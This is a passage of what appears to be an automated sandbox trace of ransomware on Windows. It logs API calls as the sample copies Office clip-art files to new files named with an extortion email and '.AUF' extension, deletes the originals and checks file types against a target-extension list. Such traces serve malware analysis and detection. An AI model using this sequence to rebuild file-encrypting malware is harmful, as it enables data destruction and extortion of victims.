lpNumberOfBytesRead=0x2d1fed4*=0x1bba, lpOverlapped=0x0) returned 1 [0222.539] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x1bc0, lpOverlapped=0x0) returned 1 [0222.540] ReadFile (in: hFile=0x228, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.540] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.540] SetEndOfFile (hFile=0x220) returned 1 [0222.540] CloseHandle (hObject=0x220) returned 1 [0222.540] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.540] SetEndOfFile (hFile=0x228) returned 1 [0222.541] CloseHandle (hObject=0x228) returned 1 [0222.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0222.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0222.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0222.541] lstrlenW (lpString=".doc") returned 4 [0222.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.541] lstrlenW (lpString=".docx") returned 5 [0222.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.541] lstrlenW (lpString=".pdf") returned 4 [0222.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.541] lstrlenW (lpString=".xls") returned 4 [0222.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.541] lstrlenW (lpString=".xlsx") returned 5 [0222.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.541] lstrlenW (lpString=".ppt") returned 4 [0222.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0222.541] lstrlenW (lpString=".zip") returned 4 [0222.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.541] lstrlenW (lpString=".rar") returned 4 [0222.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.541] lstrlenW (lpString=".bz2") returned 4 [0222.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.541] lstrlenW (lpString=".7z") returned 3 [0222.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0222.542] lstrlenW (lpString=".dbf") returned 4 [0222.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0222.542] lstrlenW (lpString=".1cd") returned 4 [0222.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0222.542] lstrlenW (lpString=".jpg") returned 4 [0222.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.542] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=7296) returned 1 [0222.542] CloseHandle (hObject=0x228) returned 1 [0222.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x20 [0222.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0222.542] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.542] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0222.543] GetLastError () returned 0x0 [0222.543] ReadFile (in: hFile=0x228, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x1c80, lpOverlapped=0x0) returned 1 [0222.553] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x1c90, lpOverlapped=0x0) returned 1 [0222.554] ReadFile (in: hFile=0x228, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.554] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.554] SetEndOfFile (hFile=0x220) returned 1 [0222.554] CloseHandle (hObject=0x220) returned 1 [0222.554] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.554] SetEndOfFile (hFile=0x228) returned 1 [0222.555] CloseHandle (hObject=0x228) returned 1 [0222.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.555] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0222.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0222.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0222.866] lstrlenW (lpString=".doc") returned 4 [0222.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.866] lstrlenW (lpString=".docx") returned 5 [0222.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.867] lstrlenW (lpString=".pdf") returned 4 [0222.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.867] lstrlenW (lpString=".xls") returned 4 [0222.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.867] lstrlenW (lpString=".xlsx") returned 5 [0222.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.867] lstrlenW (lpString=".ppt") returned 4 [0222.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0222.867] lstrlenW (lpString=".zip") returned 4 [0222.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.867] lstrlenW (lpString=".rar") returned 4 [0222.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.867] lstrlenW (lpString=".bz2") returned 4 [0222.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.867] lstrlenW (lpString=".7z") returned 3 [0222.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0222.867] lstrlenW (lpString=".dbf") returned 4 [0222.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0222.867] lstrlenW (lpString=".1cd") returned 4 [0222.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0222.867] lstrlenW (lpString=".jpg") returned 4 [0222.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.301] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1158) returned 1 [0224.302] CloseHandle (hObject=0x220) returned 1 [0224.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf")) returned 0x20 [0224.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0224.302] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.302] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0224.303] GetLastError () returned 0x0 [0224.303] ReadFile (in: hFile=0x220, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x486, lpOverlapped=0x0) returned 1 [0224.497] WriteFile (in: hFile=0x1e4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x490, lpOverlapped=0x0) returned 1 [0224.498] ReadFile (in: hFile=0x220, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.498] WriteFile (in: hFile=0x1e4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.498] SetEndOfFile (hFile=0x1e4) returned 1 [0224.498] CloseHandle (hObject=0x1e4) returned 1 [0224.498] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.498] SetEndOfFile (hFile=0x220) returned 1 [0224.499] CloseHandle (hObject=0x220) returned 1 [0224.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0224.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0224.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0224.499] lstrlenW (lpString=".doc") returned 4 [0224.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.499] lstrlenW (lpString=".docx") returned 5 [0224.499] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0224.499] lstrlenW (lpString=".pdf") returned 4 [0224.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.499] lstrlenW (lpString=".xls") returned 4 [0224.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.499] lstrlenW (lpString=".xlsx") returned 5 [0224.500] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0224.500] lstrlenW (lpString=".ppt") returned 4 [0224.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0224.500] lstrlenW (lpString=".zip") returned 4 [0224.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.500] lstrlenW (lpString=".rar") returned 4 [0224.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.500] lstrlenW (lpString=".bz2") returned 4 [0224.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.500] lstrlenW (lpString=".7z") returned 3 [0224.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0224.500] lstrlenW (lpString=".dbf") returned 4 [0224.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0224.500] lstrlenW (lpString=".1cd") returned 4 [0224.500] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0224.500] lstrlenW (lpString=".jpg") returned 4 [0224.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.500] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=696) returned 1 [0224.500] CloseHandle (hObject=0x220) returned 1 [0224.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf")) returned 0x20 [0224.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0224.501] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.501] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0224.501] GetLastError () returned 0x0 [0224.501] ReadFile (in: hFile=0x220, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x2b8, lpOverlapped=0x0) returned 1 [0224.502] WriteFile (in: hFile=0x1e4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x2c0, lpOverlapped=0x0) returned 1 [0224.504] ReadFile (in: hFile=0x220, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.504] WriteFile (in: hFile=0x1e4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.504] SetEndOfFile (hFile=0x1e4) returned 1 [0224.504] CloseHandle (hObject=0x1e4) returned 1 [0224.504] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.504] SetEndOfFile (hFile=0x220) returned 1 [0224.505] CloseHandle (hObject=0x220) returned 1 [0224.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.505] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf")) returned 1 [0224.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0224.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0224.505] lstrlenW (lpString=".doc") returned 4 [0224.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.505] lstrlenW (lpString=".docx") returned 5 [0224.505] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0224.505] lstrlenW (lpString=".pdf") returned 4 [0224.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.506] lstrlenW (lpString=".xls") returned 4 [0224.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.506] lstrlenW (lpString=".xlsx") returned 5 [0224.506] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0224.506] lstrlenW (lpString=".ppt") returned 4 [0224.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0224.506] lstrlenW (lpString=".zip") returned 4 [0224.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.506] lstrlenW (lpString=".rar") returned 4 [0224.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.506] lstrlenW (lpString=".bz2") returned 4 [0224.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.506] lstrlenW (lpString=".7z") returned 3 [0224.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0224.506] lstrlenW (lpString=".dbf") returned 4 [0224.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0224.506] lstrlenW (lpString=".1cd") returned 4 [0224.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0224.506] lstrlenW (lpString=".jpg") returned 4 [0224.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.506] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1928) returned 1 [0224.506] CloseHandle (hObject=0x220) returned 1 [0224.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf")) returned 0x20 [0224.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0224.507] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.507] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0224.507] GetLastError () returned 0x0 [0224.507] ReadFile (in: hFile=0x220, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x788, lpOverlapped=0x0) returned 1 [0224.526] WriteFile (in: hFile=0x1e4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x790, lpOverlapped=0x0) returned 1 [0224.527] ReadFile (in: hFile=0x220, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.527] WriteFile (in: hFile=0x1e4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.527] SetEndOfFile (hFile=0x1e4) returned 1 [0224.527] CloseHandle (hObject=0x1e4) returned 1 [0224.527] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.527] SetEndOfFile (hFile=0x220) returned 1 [0224.528] CloseHandle (hObject=0x220) returned 1 [0224.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf")) returned 1 [0224.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0224.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0224.528] lstrlenW (lpString=".doc") returned 4 [0224.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.528] lstrlenW (lpString=".docx") returned 5 [0224.528] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0224.528] lstrlenW (lpString=".pdf") returned 4 [0224.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.528] lstrlenW (lpString=".xls") returned 4 [0224.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.528] lstrlenW (lpString=".xlsx") returned 5 [0224.528] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0224.528] lstrlenW (lpString=".ppt") returned 4 [0224.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0224.529] lstrlenW (lpString=".zip") returned 4 [0224.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.529] lstrlenW (lpString=".rar") returned 4 [0224.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 